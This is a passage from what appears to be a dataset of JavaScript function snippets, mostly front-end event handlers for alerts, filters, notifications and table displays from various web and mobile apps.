Ti.App.Properties.getObject(\"LoginDetaisObj\").userName);*/\n\t\t\t\t\n\t\t\thttpManager.markNotificationMessageAsRead(function(response){\n\t\t\t\t\tif (response=='1')\n\t\t\t\t\t\t$.tableviewAllNotifications.deleteRow(e.index);\n\t\t\t\t\tvar data = {\"response\":\"\", \n\t\t\t\t\t\t\t\t\"idToExpand\":e.row.nTypeIdVal, \n\t\t\t\t\t\t\t\t\"isNoRecord\":\"\" , \n\t\t\t\t\t\t\t\turl : \"\"};\n\t\t\t\t\tAlloy.Globals.openWindow(Alloy.createController(\"Services/MyServices/winMyServices\", data).getView());\n\t\t\t\t},e.row.messageId, (Ti.App.Properties.getObject(\"LoginDetaisObj\") == null ? 0 : Ti.App.Properties.getObject(\"LoginDetaisObj\").userName));\n\t\t}else{\n\t\t\tTi.API.info('WHY OTHER RECORDS CAME HERE... ONLY eSERVICES NOTIFICATION COMES HERE');\n\t\t\treturn;\n\t\t}\n\t\tsetTimeout(function(){$.viewNotificationMain.animate({opacity : 0,duration : 300}, function(e) {$.viewNotificationMain.visible = false;});},500);\n\t}\n\tcatch(e){Ti.API.info(' ############# ERROR IN eSERVICES TABLE NOTIFICATION CLICK ############## '+JSON.stringify(e));}\n}","onGetAll() {\n console.log('getAll action triggered')\n }","componentDidLoad() {\n this.getRenderedTabItems().filter(item => {\n if (item['active']) {\n this.dtmTabTitle = item['tabTitle'];\n this.emitAnalyticsData();\n }\n });\n }","_refresh() {\r\n\t\tthis._lastUpdateCount = this._alertModel.getUpdateCount();\r\n\r\n\t\tthis._div.innerHTML = \"\";\r\n\t\tconst alerts = this._alertModel.getCurrentAlerts();\r\n\t\tfor(let i = 0; i < alerts.length; ++i) {\r\n\t\t\tthis._addAlert(alerts[i]);\r\n\t\t}\r\n\t}","openOnwerFilter(){\n\n var selected = this.template.querySelector(\".selected-owner\");\n var optionsContainer = this.template.querySelector(\".options-container-owner\");\n var optionsList =this.template.querySelectorAll(\".option-owner\");\n selected.addEventListener(\"click\", () => {\n optionsContainer.classList.toggle(\"active\");\n }); \n //selected.addEventListener(\"click\", () => {\n //});\n\n /* optionsList.forEach(o => {\n o.addEventListener(\"click\", () => {\n selected.innerHTML = o.querySelector(\"label\").innerHTML;\n optionsContainer.classList.remove(\"active\");\n });\n });\n */\n }","_handleClick()\n {\n Radio.channel('rodan').trigger(RODAN_EVENTS.EVENT__RESOURCELIST_SELECTED, {resourcelist: this.model});\n }","setAlertCloseToday(){\n \n \n var aujourdhuiplus3 = this.todayplus3days.toLocaleDateString();\n\n this.eventsCloseOftheday =[]; // vide le tableau des alertesCloseToday avant chaque set\n \n for(var eventac of this.events){ // pour chaque date de debut d'event = a la date d'aujourdhuiplus3 jours\n if( eventac.datestartevent == aujourdhuiplus3 ){\n this.addAlertCloseToday(eventac);\n \n }\n \n }\n \n }","function onChangeGoodList(){\n\t\t\t\n\t\t\tif ($(\"#goodsListPopupGrid\").data(\"kendoGrid\").select().length > 0){\n\t\t\t\tvar tr = $(\"#goodsListPopupGrid\").data(\"kendoGrid\").select().closest(\"tr\");\n \t\t\tvar dataItem = $(\"#goodsListPopupGrid\").data(\"kendoGrid\").dataItem(tr);\n \t\t\t\n \t\t\tvm.orderGoodsDetailSearch = dataItem;\n \t\t\t$(\"#goodsCodeAndNameCreExtNote\").text(vm.orderGoodsDetailSearch.goodsCode+\" \"+vm.orderGoodsDetailSearch.goodsName);\n\t\t\t\t\n \t\t\tvar grid = $(\"#goodsDetailGrid\").data(\"kendoGrid\");\t\n \t\t\tif(grid){\n \t\t\t\tgrid.dataSource.query({\n \t\t\t\t\tpage: 1,\n \t\t\t\t\tpageSize: 10\n \t\t\t\t});\n \t\t\t} else {\n \t\t\tfillDataTableGoodsDetailPopUp([]);\n \t\t\t}\n \t\t\t\n \t\t\tconsole.log(vm.orderGoodsDetailSearch.goodsName);\n\t\t\t}\n\t\t\t\n\t\t}","handleSelection(event) {\n this.pollEverySec(this.interval);\n const eventData = event.detail;\n const fields = {\n Name: eventData.name,\n EventType: eventData.type,\n PrimaryPersonId: this.contactId,\n EventDate: new Date().toISOString()\n };\n this.showNewLifeEventPage(fields, \"new\");\n }","function load() {\n if(vm.document._id !== -1) {\n backendService.getDocumentById(vm.document._id).success(function(data) {\n\n // got the data - preset the selection\n vm.document.title = data.title;\n vm.document.fileName = data.fileName;\n vm.document.amount = data.amount;\n vm.document.senders = data.senders;\n vm.document.tags = data.tags;\n vm.document.modified = data.modified;\n vm.document.created = data.created;\n\n vm.selectedSenders = data.senders;\n vm.selectedTags = data.tags;\n\n })\n .error( function(data, status, headers) {\n\n if(status === 403) {\n $rootScope.$emit('::authError::');\n return;\n }\n\n alert('Error: ' + data + '\\nHTTP-Status: ' + status);\n return $location.path('/');\n\n\n });\n } else {\n vm.selectedSenders = [];\n vm.selectedTags = [];\n }\n\n }","initExtras() {\n this._extraService.getExtra().subscribe(response => {\n this.extras = response.extra;\n if (response.extra.length <= 0) {\n this.fatalError = true;\n this.loading = false;\n this.launchAlert('info', 'Sin Datos de RMUV', 'Al parecer no existen datos de la Remuneracion Unificada Vigente, por favor, Ingresarlos antes de continuar', 'Ingresar Ahora!!', true, null, null, null, null, null);\n // alert('no existen los datos de RMUV... por favor ingresarlos antes de continuar con los registros de consumo');\n }\n else if (response.extra.length >= 1) {\n this.fatalError = false;\n this.loading = false;\n }\n }, error => {\n this.loading = false;\n console.log(error);\n this.errorCatched.description = error.toString();\n this.errorCatched.table = 'Extra';\n this.errorCatched.action = 'getExtras';\n this.errorCatched.title = 'Error en la Obtencion de Los datos Extras';\n this.errorCatched.zone = 'addRegister';\n this.errorCatched.code = this.errorCatched.zone + '-' + this.errorCatched.action + '-' + this.errorCatched.table;\n this.errorCatcherService.saveError(this.errorCatched).subscribe(response => {\n this.launchAlert('error', 'Error en la Carga', 'Se ha producido un error a la hora de cargar los datos de la RMUV' + response.Message, 'Ir a la Ventana de Errores de Sistema? ', true, null, null, null, null, null);\n });\n });\n }","function initEventListener() {\n $scope.$on(vm.controllerId + '.data.filter', function (e, v) {\n vm.data.searchString = v;\n });\n $scope.$on(vm.controllerId + '.action.refresh', function (event, data) {\n getPage(_tableState);\n });\n $scope.$on(vm.controllerId + '.action.reload', function (e, v) {\n reload();\n });\n $scope.$on(vm.controllerId + '.action.F2', function (e, v) {\n console.log(checkQuyenUI('N'));\n if (checkQuyenUI('N')) {\n window.location.href = linkUrl + 'create';\n }\n });\n }","handlesClick(){\n \n const selectedFieldsValueParam = this.selectedFieldsValue;\n const showComp = this.showScreen;\n this.hideObjectScreen=false;\n const isHideObjectScreen= this.hideObjectScreen;\n \n //console.log('Hi' +showComp);\n // console.log('selectedFieldsValueParam=='+this.selectedFieldsValue);\n // console.log('selectedFieldsValueParam= '+selectedFieldsValueParam);\n\n //show error if no rows have been selected\n if(selectedFieldsValueParam ===null || selectedFieldsValueParam===''){\n const evt = new ShowToastEvent({\n title: this._title,\n message: this.message,\n variant: this.variant,\n });\n this.dispatchEvent(evt);\n }\n else {\n //propage event to next component\n const evtCustomEvent = new CustomEvent('retreive', {\n detail: { selectedFieldsValueParam,showComp,isHideObjectScreen}\n });\n this.dispatchEvent(evtCustomEvent);\n }\n }","onTriggerClick() {\n const me = this;\n\n if (me.pickerVisible) {\n me.hidePicker();\n } else {\n if (!me.readOnly && !me.disabled) {\n switch (me.triggerAction) {\n case this.constructor.queryAll:\n me.doFilter(null);\n break;\n\n case comboQueryLast:\n me.doFilter(me.lastQuery);\n break;\n\n default:\n me.doFilter(me.input.value);\n }\n }\n }\n }","click(){\r\n if ( !this.isDisabled && !this.readnly ){\r\n this.getRef('input').focus();\r\n if ( this.filteredData.length ){\r\n this.isOpened = !this.isOpened;\r\n }\r\n }\r\n }","function filterHandler() {\n\n // Available checkbox\n $('#Check0').change(function(){\n filter.available = this.checked;\n genericLoad();\n })\n\n // price range filter\n $('#confirm-filter').click(function() {\n var min = $('#min-filter').val();\n var max = $('#max-filter').val();\n\n if(($.isNumeric(min) || $.isNumeric(max)) && (min >= 0 && max >= 0)) {\n filter.minPrice = $.isNumeric(min)? min : filter.minPrice;\n filter.maxPrice = $.isNumeric(max)? max : filter.maxPrice;\n genericLoad();\n }\n else \n showNotificationBar(\"Per favore, inserisci dei valori positivi\");\n });\n\n // reset button\n $('#reset-filter').click(function() {\n\n filter.minPrice = 0;\n filter.maxPrice = Number.MAX_VALUE;\n genericLoad();\n\n });\n\n // review filter\n $(\"input[name='filter']\").change(function() {\n\n filter.starRating = $(this).val();\n genericLoad();\n\n });\n\n}","function onSelect(event) {\r\n refresh(JSON.parse(event.data));\r\n}","function filterListener(){\n $(\"#colorFilter\").change(function(){\n populateBikeList();\n });\n $(\"#statusFilter\").change(function(){\n populateBikeList();\n });\n }","function bindExistingAlerts() {\n\t\t\tvar allAlertsCloseBtns$ = jContainer.find(\".container-ASWidgetAlert .close\");\n\t\t\tallAlertsCloseBtns$.unbind(\"click\").on(\"click\", function(event) {\n\t\t\t\t$(event.currentTarget).parents(\".container-ASWidgetAlert\").first().remove();\n\t\t\t\treturn false;\n\t\t\t});\n\t\t}","function makeAlerts(){\n// put event listener for each selected tag\n var myp = document.querySelectorAll(\"#a2 p\");\n for(var i=0; i < myp.length; i++){//loop for the length of the myp array\n myp[i].addEventListener(\"click\",showNewAlert);//add a listener for every object in the arry\n }\n}","function onReportDiagnosticPopupSeeAllBtnClick() {\r\n seeAllClicked = true;\r\n tau.closePopup();\r\n }","function alerts (io) {\n\tio.of('/alert').on('connection', (USA) => {\n\t\tconsole.log(`United States ready to recieve alerts at ${USA.id}`);\n\n\t\talertEvent.on('alert', () => {\n\t\t\tfor (const msg of usaAlerts) {\n\t\t\t\tUSA.emit('alert', msg);\n\t\t\t}\n\t\t\tusaAlerts = [];\n\t\t});\n\n\t\tUSA.on('disconnect', () => console.log(`USA disconnected ${USA.id}`));\n\t});\n}","constructor() {\n this.display = document.getElementById('displayRow'); //getting the tbody of our table\n this.notify = document.getElementById('notification'); //getting the div tag above table to show alerts\n }","function callOnholdRes(d,s) {\n d = d.data;\n $(\"#onhold-open-popup .onholdres\").html(d.content_detail);\n $('#onhold-open-popup').modal('show');\n $('#onhold-open-popup button.btn').addClass('inactive');\n setTimeout(function() {\n modifyDropDown({selectorClass:'#onhold-open-popup .onholdres #onholdsection',searchAny:true,placeholder:'Search Reason'});\n },0);\n hideFullLoader('content_loader');\n //Added dropDown on change event\n $('#onhold-open-popup #onholdsection').on('change', function(){\n if($(this).children('option:selected').val() === 'Please select a reason:'){\n $('#onhold-open-popup button.btn').addClass('inactive');\n } else {\n $('#onhold-open-popup button.btn').removeClass('inactive');\n }\n });\n }","handleLookupSelect(event) { \n this.selectedName = event.detail.Family; \n this.showoptions=false;\n \n }","function handleSupp(ev) {\n console.log(contacts.filter((_) => _.id !== ev.detail.id ));\n setContacts(contacts.filter((_) => _.id !== ev.detail.id ));\n }","function loadOffers() { // ohne alerts funktionierts nicht =( ... wieso??\n\t// reset selectedID (account could have been deleted in meantime)\n\t// selectedOffer = null;\n\tconnect(\"/hiwi/Provider/js/loadOffers\", \"\", handleLoadOffersResponse);\n}","ngOnInit() {\r\n //this._auctionListService.getAuctionItems().subscribe(\r\n //data => this.auctionItems = data FOR FILTERING \r\n //)\r\n this.getAuctionItems();\r\n }","function loadSuccess(ev) {\n if (ev) {\n removeAllEventsFromDisplay();\n cosmo.view.cal.itemRegistry = ev;\n }\n cosmo.view.cal.itemRegistry.each(appendLozenge);\n // Update the view\n updateEventsDisplay();\n }","function getCategory(e) {\n filter(e.target.value); //filter function send which button we click\n if(e.target.value == \"all\"){\n bringFoods(); // bringFoods run when we click \"all button\" & form loaded\n }\n\n}","function showEnsFilters() {\t\r\n\r\n}","function buttonClick(){\n // Prevent the page from refreshing\n d3.event.preventDefault();\n // Create & display new table with filtered/searched data\n var filtered_table = tableData.filter(ufo_sighting => ufo_sighting.datetime===dateInputText.property(\"value\"))\n displayData(filtered_table);\n}","function showGrowerList(e) {\n viewModel.set(\"selectedUserId\", e.view.params.userId);\n initList();\n }","onTriggerClick() {\n const me = this;\n\n if (me.pickerVisible) {\n me.hidePicker();\n } else {\n if (!me.readOnly && !me.disabled) {\n switch (me.triggerAction) {\n case comboQueryAll:\n me.doFilter(null);\n break;\n case comboQueryLast:\n me.doFilter(me.lastQuery);\n break;\n default:\n me.doFilter(me.input.value);\n }\n }\n }\n }","function alerts() {\n $(\"span.top-label.label.label-warning\").text(todoItemsData.length);\n $('.dropdown-alerts').empty();\n $.each(todoItemsData, (idx, item) => {\n let i = $('');\n let span = $('').text( daysLeft(item.date) + ' days left');\n let div = $('
    ').append(i).append(item.title).append(span);\n let a = $('
    ')\n .click( () => {\n $('.card[data-todoid=\"' + item.item_id + '\"] .edit-btn').click();\n })\n .append(div);\n let li = $('
  • ').append(a);\n let divider = $('
  • ');\n $(\"ul.dropdown-menu.dropdown-alerts\").append(li).append(divider);\n });\n}","function setFilterDisplayObj() {\n var postArray = ['categoryFilter', 'statusFilter', 'substatusFilter', 'typeFilter', 'subTypeFilter', 'venueFilter', 'lawtypeFilter'];\n var valKey = ['category', 'statuses', 'substatus', 'type', 'subtypes', 'venues', 'law-types'];\n var filterObj = {};\n _.each(postArray, function (val, index) {\n //get array of current valkey item from masterlist\n if (val == 'substatusFilter') {\n var array = extractSubStatus();\n } else if (val == 'subTypeFilter') {\n var array = extractSubTypes();\n } else {\n var array = angular.copy(self.viewModel.masterList[valKey[index]]);\n }\n\n var appliedFilters = [];\n //iterate over current selected filters\n\n var filterString = self.viewModel.filters[val].toString();\n _.forEach(filterString.split(','), function (id) {\n if (utils.isEmptyString(id)) { return; } //if filter id is all/stalled push as is\n if (id === \"all\") {\n appliedFilters.push(id);\n } else if (id === \"stalled\") {\n appliedFilters.push('');\n } else {\n // find object from array having the current id\n var appliedFilter = _.find(array, function (item) {\n return item.id === id;\n });\n\n if (utils.isEmptyVal(appliedFilter.name)) {\n appliedFilter.name = \"{Blank}\";\n }\n appliedFilters.push(appliedFilter.name);\n }\n });\n //set the filter obj\n // filterObj ={name:,value:}\n filterObj[val] = {};\n filterObj[val].name = valKey[index].toUpperCase();\n filterObj[val].data = appliedFilters;\n });\n filterObj.orderby = {\n name: \"ORDERED BY\",\n data: [self.getSortByLabel(self.viewModel.filters.sortby)]\n };\n\n //US#5557 Added Include referredOut status in print with Yes/ No ....Start\n if (self.viewModel.filters.statusFilter == \"stalled\" || self.viewModel.filters.statusCase == \"Stalled\") {\n var includeReferredOutValue = self.viewModel.filters.includeReferredOut == 1 ? 'Yes' : '';\n filterObj.includeReferredOut = {\n name: \"Include Referred Out\",\n data: [includeReferredOutValue]\n };\n\n filterObj.statusCase = {\n name: \"Stalled\",\n data: [self.viewModel.filters.statusCase]\n };\n }\n\n var attorneys = self.allUsers[1].attorny;\n var staffs = self.allUsers[4].staffonly;\n var paralegals = self.allUsers[3].paralegal;\n if (utils.isNotEmptyVal(self.viewModel.filters.leadAttorney)) {\n var userObj = _.find(attorneys, function (user) {\n return user.uid == self.viewModel.filters.leadAttorney;\n });\n var userName = userObj.name + ' ' + userObj.lname;\n filterObj.leadAttorney = {\n name: 'Lead Attorney',\n data: [userName]\n };\n } else {\n filterObj.leadAttorney = {\n name: 'Lead Attorney',\n data: []\n };\n }\n\n if (utils.isNotEmptyVal(self.viewModel.filters.attorney)) {\n var userObj = _.find(attorneys, function (user) {\n return user.uid == self.viewModel.filters.attorney;\n });\n var userName = userObj.name + ' ' + userObj.lname;\n filterObj.attorney = {\n name: 'Attorney',\n data: [userName]\n };\n } else {\n filterObj.attorney = {\n name: 'Attorney',\n data: []\n };\n }\n\n if (utils.isNotEmptyVal(self.viewModel.filters.staff)) {\n var userObj = _.find(staffs, function (user) {\n return user.uid == self.viewModel.filters.staff;\n });\n var userName = userObj.name + ' ' + userObj.lname;\n filterObj.staff = {\n name: 'Staff',\n data: [userName]\n };\n } else {\n filterObj.staff = {\n name: 'Staff',\n data: []\n };\n }\n\n if (utils.isNotEmptyVal(self.viewModel.filters.paralegal)) {\n var userObj = _.find(paralegals, function (user) {\n return user.uid == self.viewModel.filters.paralegal;\n });\n var userName = userObj.name + ' ' + userObj.lname;\n filterObj.paralegal = {\n name: 'Paralegal',\n data: [userName]\n };\n } else {\n filterObj.paralegal = {\n name: 'Paralegal',\n data: []\n };\n }\n\n if (utils.isNotEmptyVal(self.viewModel.filters.doiEnd) && utils.isNotEmptyVal(self.viewModel.filters.doiStart)) {\n var start = moment.unix(self.viewModel.filters.doiStart).utc().format('MM/DD/YYYY');\n var end = moment.unix(self.viewModel.filters.doiEnd).utc().format('MM/DD/YYYY');\n filterObj.doi = {\n name: 'DOI Range',\n data: [start + ' - ' + end]\n };\n }\n return filterObj;\n }","function showAlert(alert_id) {\n hideAlerts();\n $('#' + alert_id).show();\n }","function showAlert(alert_id) {\n hideAlerts();\n $('#' + alert_id).show();\n }","function setupAreaSelectionEventListener() {\n $(\"#area-dropdown .dropdown-menu li a\").click(function () {\n selectedArea = $(this).text();\n var selText = $(this).text();\n $(this).parents('.btn-group').find('.dropdown-toggle').html(selText + ' ');\n clearDoctorDetails();\n dataTable.rows().every(function (rowIdx, tableLoop, rowLoop) {\n var data = this.data();\n if (selText !== \"All Cities\" && data.area !== selText) {\n this.node().style.display = \"none\";\n } else if (selectedSpeciality == null || selectedSpeciality == data.speciality) {\n this.node().style.display = \"\";\n }\n });\n });\n}","showResults(data) {\n\n const results = data.airports;\n\n console.log(results);\n\n let output = \"\";\n //The following for will print all the results in our table in the index.html \n //(saving in variable output)\n for (let index = 0; index < results.length; index++) {\n output += \"\"; //creating a table row element\n\n output += \"\" + results[index].name + \"\";\n output += \"\" + results[index].iata + \"\";\n output += \"\" + results[index].state.type + \"\";\n output += \"\" + results[index].city + \"\";\n output += \"\" + results[index].state.name + \"\";\n output += \"\" + results[index].country.name + \"\";\n\n output += \"\";\n }\n\n // console.log(output);\n\n // Notifying the number of airports found based on the query (in the div tag we get in constructor)\n this.notify.innerHTML = `\n
    \n
    \n Showing ${results.length}\n Results for ${data.term.toUpperCase()}\n
    \n
    \n `;\n\n // TimeOut (It will show the alert for 7 seconds)\n setTimeout(() => {\n const currentAlertS = document.querySelector('.is-primary');\n\n if (currentAlertS) {\n\n currentAlertS.remove();\n }\n\n }, 7000);\n\n\n //putting the data got from restful API into the table\n this.display.innerHTML = output;\n }","function getAlertAreas(){\n if($window.localStorage[\"authenticated\"] !== \"null\" && $window.localStorage[\"authenticated\"] === \"true\" && $window.localStorage[\"token\"] !== \"null\" && $window.localStorage[\"token\"]) {\n AlertArea_Service.setToken($window.localStorage[\"token\"]);\n var alertareas = AlertArea_Service.AlertAreas().get();\n alertareas.$promise.then(function() {\n removeAlertAreas();\n geofenceLayer = L.geoJson(alertareas, {\n style: function(feature) {\n return {\n color: '#3b9972',\n weight: 2,\n opacity: 0.6,\n fillOpacity: 0.1,\n pk: feature.properties.pk,\n /*Mark the polygon with it's database id*/\n objType: 'polygon'\n }}\n }).eachLayer(function(layer){alertareaLayer.addLayer(layer);});\n $scope.map.addLayer(alertareaLayer);\n $scope.legend.alertAreas = true;\n }, function(err) {\n try {\n $cordovaToast.showShortBottom(\"Alert areas could not be retrieved.\");\n } catch (err) {\n console.log(\"Alert areas could not be retrieved.\");\n }\n })\n }}"],"string":"[\n \"function afterAlertsLoad() {\\n if (sessionStorage.getItem(\\\"search_all_selected_obj\\\") !== null) {\\n var obj,\\n index;\\n obj = JSON.parse(sessionStorage.getItem(\\\"search_all_selected_obj\\\"));\\n index = TableUtil.getTableIndexById('#tblAlerts', obj.Id);\\n $(\\\"#tblAlerts\\\").bootstrapTable(\\\"check\\\", index);\\n showEditDialog();\\n sessionStorage.removeItem(\\\"search_all_selected_obj\\\");\\n }\\n }\",\n \"function alertLoad() {\\n\\t//alert('reloading alert page');\\n\\tfireAlerts.on('value', function(snap) {\\n\\t\\t$('#inputEmail').val(snap.val().email);\\n\\t\\t$('#checkEnergyOver').prop('checked',snap.val().dayKwhrFlg);\\n\\t\\t$('#inputKwhrLimit').val(snap.val().dayKwhrLmt);\\n\\t\\t$('#checkStandbyLow').prop('checked',snap.val().dayStbyFlg);\\n\\t\\t$('#inputStbyLimit').val(snap.val().dayStbyLmt);\\n\\t\\t$('#checkFault').prop('checked',snap.val().errFlg);\\n\\t\\t$('#checkModeChanged').prop('checked',snap.val().modeChgFlg);\\n\\t\\t$('#checkSPChanged').prop('checked',snap.val().SPChgFlg);\\n\\t\\t$('#checkElementUse').prop('checked',snap.val().htrElmntFlg);\\n\\t});\\n}\",\n \"handleSearchKeyword() {\\n \\n if (this.searchValue !== '') {\\n getAlertList({\\n searchKey: this.searchValue\\n })\\n .then(result => {\\n // set @track alert variable with return alert list from server \\n //this.alertList = result;\\n if(result) {\\n\\n let currentData = [];\\n \\n result.forEach((row) => {\\n \\n /* \\n * Creating the an empty object\\n * To reslove \\\"TypeError: 'set' on proxy: trap returned falsish for property\\\"\\n */\\n \\n let rowData = {};\\n rowData.Id = row.Id;\\n rowData.Name = row.Name;\\n rowData.Alert_Date = row.Alert_Date__c;\\n rowData.Primary_Entity_Number = row.Primary_Entity_Number__c;\\n rowData.Status = row.Status__c;\\n rowData.MoneyLaunderingRiskScore = row.Money_Laundering_Risk_Code__c;\\n \\n // Account related data\\n if (row.Primary_Entity__c) {\\n rowData.PrimaryEntityName = row.Primary_Entity__r.Name;\\n \\n }\\n currentData.push(rowData);\\n });\\n \\n this.alertList = currentData;\\n }\\n })\\n .catch(error => {\\n \\n const event = new ShowToastEvent({\\n title: 'Error',\\n variant: 'error',\\n message: error.body.message,\\n });\\n this.dispatchEvent(event);\\n // reset alert var with null \\n this.alertList = null;\\n });\\n } else {\\n // fire toast event if input field is blank\\n const event = new ShowToastEvent({\\n variant: 'error',\\n message: 'Search text missing..',\\n });\\n this.dispatchEvent(event);\\n }\\n}\",\n \"function listaAlertas(){\\n\\tvar lista = Widget.createController('listaAlertas').getView();\\n\\tlista.open();\\n}\",\n \"onClickAlertSubscribe() {\\n // TODO: Set user as watcher for this alert when API ready\\n }\",\n \"onAlert(id = this.defaultId) {\\n return this.subject.asObservable().pipe(Object(rxjs_operators__WEBPACK_IMPORTED_MODULE_2__[\\\"filter\\\"])(x => x && x.id === id));\\n }\",\n \"onAlert(id = this.defaultId) {\\n return this.subject.asObservable().pipe(Object(rxjs_operators__WEBPACK_IMPORTED_MODULE_2__[\\\"filter\\\"])(x => x && x.id === id));\\n }\",\n \"function refreshFilterAlarmSummaryData(selectedAlarmLevel) {\\r\\n filterAlarmSummaryDataList = [];\\r\\n for (var index = 0; index < alarmSummaryDataList.length; index++) {\\r\\n if ((wemsAlarmSummaryVM.selectedAlarmLevel != wemsAlarmSummaryVM.alarmLevel.all)\\r\\n && (wemsAlarmSummaryVM.selectedAlarmLevel != alarmSummaryDataList[index].LevelCode)) {\\r\\n continue;\\r\\n }\\r\\n\\r\\n filterAlarmSummaryDataList.push(alarmSummaryDataList[index]);\\r\\n }\\r\\n\\r\\n showMoreAlarmSummaryData(true);\\r\\n }\",\n \"onAlert(id = this.defaultId) {\\n return this.subject.asObservable().pipe(Object(rxjs_operators__WEBPACK_IMPORTED_MODULE_1__[\\\"filter\\\"])(x => x && x.id === id));\\n }\",\n \"function selectedData(event) {\\n displayProblems();\\n}\",\n \"setAlertToday(){\\n \\n var aujourdhui = this.today.toLocaleDateString();\\n this.eventsOftheday =[]; // vide le tableau des alertes avant chaque set\\n \\n for(var eventa of this.events){ // pour chaque date de debut d'event = a la date d'aujourdhui\\n if( eventa.datestartevent == aujourdhui ){\\n this.addAlertToday(eventa);\\n \\n }\\n \\n }\\n \\n }\",\n \"function viewDataArray() {\\n log('viewDataArray');\\n let alertText =\\n 'Reviver ID: ' + activeDataItem.reviver_id +\\n '\\\\nTarget: ' + activeDataItem.target +\\n '\\\\nTime: ' + activeDataItem.time +\\n '\\\\nLevel: ' + activeDataItem.level +\\n '\\\\nChance: ' + activeDataItem.chance +\\n '\\\\nCost: ' + activeDataItem.cost +\\n '\\\\nSuccess: ' + activeDataItem.success +\\n '\\\\nRS Start: ' + activeDataItem.rs_start +\\n '\\\\nRS End: ' + activeDataItem.rs_end;\\n\\n alert(alertText);\\n }\",\n \"alerts() {\\r\\n return this.request('GET', 'alerts')\\r\\n .then((data) => (!!data['alerts'] ? data['alerts'] : []).map(Alert.fromJSON));\\r\\n }\",\n \"function onChangeAlarmLevelHandler() {\\r\\n refreshFilterAlarmSummaryData();\\r\\n }\",\n \"_onFilterSelected(event) {\\n this.filter = event.detail.filter;\\n this.render();\\n }\",\n \"filterRestaurants () {\\n this.sendAction('filterInit', {\\n price: this.get('price'),\\n isOpen: this.get('isChecked')\\n });\\n }\",\n \"function onShowWemsAlarmSummaryModal() {\\r\\n showMoreAlarmSummaryData(true);\\r\\n }\",\n \"_list() {\\n this._listPromise().then((json) => {\\n this._alerts = json;\\n this._render();\\n this._openOnLoad();\\n }).catch(errorMessage);\\n }\",\n \"function handleFilterSelected() {\\n $('main').on('change', '#filter', function(event) {\\n store.filter = $(this).val()\\n render();\\n })\\n}\",\n \"function updateAlertsList(){\\n $( \\\"#traffic_alerts_list\\\" ).html(\\\"\\\");\\n $.each(traffic.alerts, function( index, item ) {\\n if ($.inArray(item.type, alertsType) < 0) {\\n alertsType.push(item.type); \\n }\\n if (item.type == 'WEATHERHAZARD'){\\n if ($.inArray(item.subtype, WEATHERHAZARD_SubType) < 0) {\\n WEATHERHAZARD_SubType.push(item.subtype); \\n } \\n }\\n });\\n\\n $.each(alertsType, function( index, item ) { \\n if (item == 'WEATHERHAZARD'){\\n $( \\\"#traffic_alerts_list\\\" ).append( \\\"
  • \\\" + item + \\\"
  • \\\" );\\n }else{\\n $( \\\"#traffic_alerts_list\\\" ).append( \\\"
  • \\\" + item + \\\"
  • \\\" );\\n }\\n });\\n $('#traffic_alerts_list li').on( 'click', function () {\\n specific_alert = $(this).attr('data-to-show');\\n $('#title').html('Traffic Alerts ' + specific_alert + ''); \\n subtype_alert = \\\"NO_SUBTYPE\\\";\\n showAlerts(true);\\n updateMap();\\n });\\n\\n $.each(WEATHERHAZARD_SubType, function( index, item ) {\\n if (item.indexOf(\\\"HAZARD_ON_ROAD_\\\") < 0 && item.indexOf(\\\"HAZARD_ON_SHOULDER_\\\") < 0 && item.indexOf(\\\"HAZARD_WEATHER_\\\") < 0){\\n if (item.trim() == \\\"\\\"){\\n $( \\\"#traffic_alerts_weatherhazard_list\\\" ).append( \\\"
  • NO_SUBTYPE
  • \\\" );\\n }else{\\n $( \\\"#traffic_alerts_weatherhazard_list\\\" ).append( \\\"
  • \\\" + item.substring(0, 20) + \\\"
  • \\\" );\\n }\\n \\n }else{\\n if (item.indexOf(\\\"HAZARD_ON_ROAD_\\\") >= 0){\\n var pos = \\\"HAZARD_ON_ROAD_\\\".length;\\n var li_text = item.substring(pos,item.length);\\n $( \\\"#traffic_alerts_weatherhazard_list\\\" ).append( \\\"
  • \\\" + li_text + \\\"
  • \\\" );\\n }\\n if (item.indexOf(\\\"HAZARD_ON_SHOULDER_\\\") >= 0){\\n var pos = \\\"HAZARD_ON_SHOULDER_\\\".length;\\n var li_text = item.substring(pos,item.length);\\n $( \\\"#traffic_alerts_weatherhazard_list\\\" ).append( \\\"
  • \\\" + li_text + \\\"
  • \\\" );\\n }\\n if (item.indexOf(\\\"HAZARD_WEATHER_\\\") >= 0){\\n var pos = \\\"HAZARD_WEATHER_\\\".length;\\n var li_text = item.substring(pos,item.length);\\n $( \\\"#traffic_alerts_weatherhazard_list\\\" ).append( \\\"
  • \\\" + li_text + \\\"
  • \\\" );\\n }\\n }\\n \\n });\\n\\n $('#traffic_alerts_weatherhazard_list li').on( 'click', function () {\\n specific_alert = \\\"WEATHERHAZARD\\\";\\n subtype_alert = $(this).attr('data-to-show');\\n $('#title').html('Traffic Alerts ' + subtype_alert +'');\\n showAlerts(true);\\n updateMap();\\n });\\n \\n }\",\n \"function getAlerts() {\\n\\t$.get(\\\"/load_charts/get-stats/?threshold=\\\"+threshold.toFixed(2), function (data){ \\n\\t\\tvar alertJson = JSON.parse(data);\\n\\t\\tupdateAlert(alertJson); \\n\\t\\tupdateStats(alertJson); \\n\\t});\\n}\",\n \"focus(){\\n\\n // pass stream of favorite\\n // places to knockout observable\\n this._filterSub =\\n this._placesService\\n .favorites()\\n .subscribe(favorites => {\\n this.places(favorites);\\n });\\n }\",\n \"function onLoad() {\\r\\n onRestore();\\r\\n $('release-notes').addEventListener('click', onVisitReleaseNotes, false)\\r\\n $('button-save').addEventListener('click', onSave, false);\\r\\n $('button-close').addEventListener('click', onClose, false);\\r\\n $('exclusion-filter-list-add').addEventListener('click', onFilterListAdd, false);\\r\\n $('exclusion-filter-list-remove').addEventListener('click', onFilterListRemove, false);\\r\\n $('exclusion-filter-list-remove-all').addEventListener('click', onFilterListRemoveAll, false);\\r\\n \\r\\n $('inclusion-filter-list-add').addEventListener('click', onFilterListAdd, false);\\r\\n $('inclusion-filter-list-remove').addEventListener('click', onFilterListRemove, false);\\r\\n $('inclusion-filter-list-remove-all').addEventListener('click', onFilterListRemoveAll, false);\\r\\n \\r\\n $('visit-extensions').addEventListener('click', onVisitExtension, false);\\r\\n \\r\\n exlusionDialog = new DialogController('exclusion-add-filter-dialog');\\r\\n exlusionDialog.addEventListener('click', onDialogOk);\\r\\n exlusionDialog.addEventListener('load', onDialogLoad);\\r\\n exlusionDialog.setTemplate({header: 'Filter Text', ok: 'Add'});\\r\\n exlusionDialog.init();\\r\\n \\r\\n inclusionDialog = new DialogController('inclusion-add-filter-dialog');\\r\\n inclusionDialog.addEventListener('click', 